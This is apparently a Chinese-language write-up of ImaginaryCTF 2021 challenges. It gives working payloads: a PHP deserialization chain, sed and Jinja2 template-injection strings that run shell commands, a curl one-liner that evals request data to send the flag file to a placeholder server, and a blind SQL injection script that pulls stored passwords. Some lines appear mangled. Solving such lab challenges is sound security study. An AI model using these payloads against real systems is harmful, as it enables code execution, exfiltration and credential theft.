ImaginaryCTF 2021 题解

Roos World

https://roos-world.chal.imaginaryctf.org

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js f*ck 控制台 console.log()输出得到flag

SaaS

Sed as a Service! (imaginaryctf.org)

考 sed

backend?query=%271p%27+fla*

Destructoid

https://destructoid.chal.imaginaryctf.org

传参得到源码?source=123

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<?php
$printflag = false;

class X {
    function __construct($cleanup) {
        if ($cleanup === "flag") {
            echo "NO1";
        }
        $this->cleanup = $cleanup;
    }
    function __destruct() {
        global $printflag;
        if ($this->cleanup !== "flag" && $this->cleanup !== "noflag") {
            echo "NO2";
        }
        include $this->cleanup . ".php";
        if ($printflag) {
            echo $FLAG . "\n";
        }
    }
}

class Y {
    function __construct($s) {
        $this->secret=$s;
    }
    function __wakeup() {
        echo "wake\n";
        echo $this->secret . "\n";
    }
    function __toString() {
        global $printflag;
        echo "tostring";
        $printflag = true;
        return (new X($this->secret))->cleanup;
    }
}
$a=new X("flag");
$b=new Y($a);
$c=new Y($b);
echo serialize($c);

Chicken Caesar Salad

凯撒密码移几位试试就行

Build-A-Website

Build-A-Website version 1.42.69 (imaginaryctf.org)

考ssti 靠！

<pre>
{{request["__cl"+"a"+"ss__"].mro()[-1]['__subcla'+'sses__']()[182].__init__['__glob'+'als__']['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()}}
</pre>

然后cat flag.txt就行了 ictf{:rooYay::rooPOG::rooHappy:_:rooooooooooooooooooooooooooo:}

Sinking Calculator

不会

Calculator (imaginaryctf.org)

同样的SSTI注入限制了长度

curl “https://sinking-calculator.chal.imaginaryctf.org/calc?query=request.application.globals.builtins%5B%27eval%27%5D%28request.data%29" -X GET –data-raw “import(‘os’).system(‘curl http://YOUR_SERVER -F f=@flag’)”

1.class(g.pop.globals.builtins.open(“flag”,”rb”).read().hex(),16)

Awkward_Bypass

https://awkward-bypass.chal.imaginaryctf.org

考察sql注入 sqlite3 sqlite3还不太会，日后必学脚本如下

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import requests
import time
url = "https://awkward-bypass.chal.imaginaryctf.org/user"

result=""
for i in range(1,1290):
    head=31
    tail=127
    while head<tail:
        mid=(head+tail)>>1
        # s="1' union select 1,2 where unicode(substr((SELECT tbl_name FROM sqlite_master WHERE type = 'table'),{},1))>{} and ''='".format(i,mid)#爆表
        # s="' union select 1,2 where unicode(substr((SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'),{},1))>{} and ''='".format(i,mid)
        s="' union select 1,2 where unicode(substr((SELECT group_concat(password) FROM users),{},1))>{} and ''='".format(i,mid)
        
        s="WITH".join(s)
        data={"username": 1,"password": s}
        # print(data)
        # data={"uname": "1') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
        # data={"uname": "1') or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
        # data={"uname": "1' or if(ascii(substr((select flag from ctftraining.flag),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
        
        r=requests.post(url=url,data=data)
        print(head,tail)
        if "502" in r.text:
            continue
        print(r.text)
        if "Ummmmmmm, did you expect a flag to be here?" in r.text:
            head=mid+1
        else:
            tail=mid
    if head !=31:
        result+=chr(head)
        # print(result)
    else:
        break
    
    print(result)

总结：tcl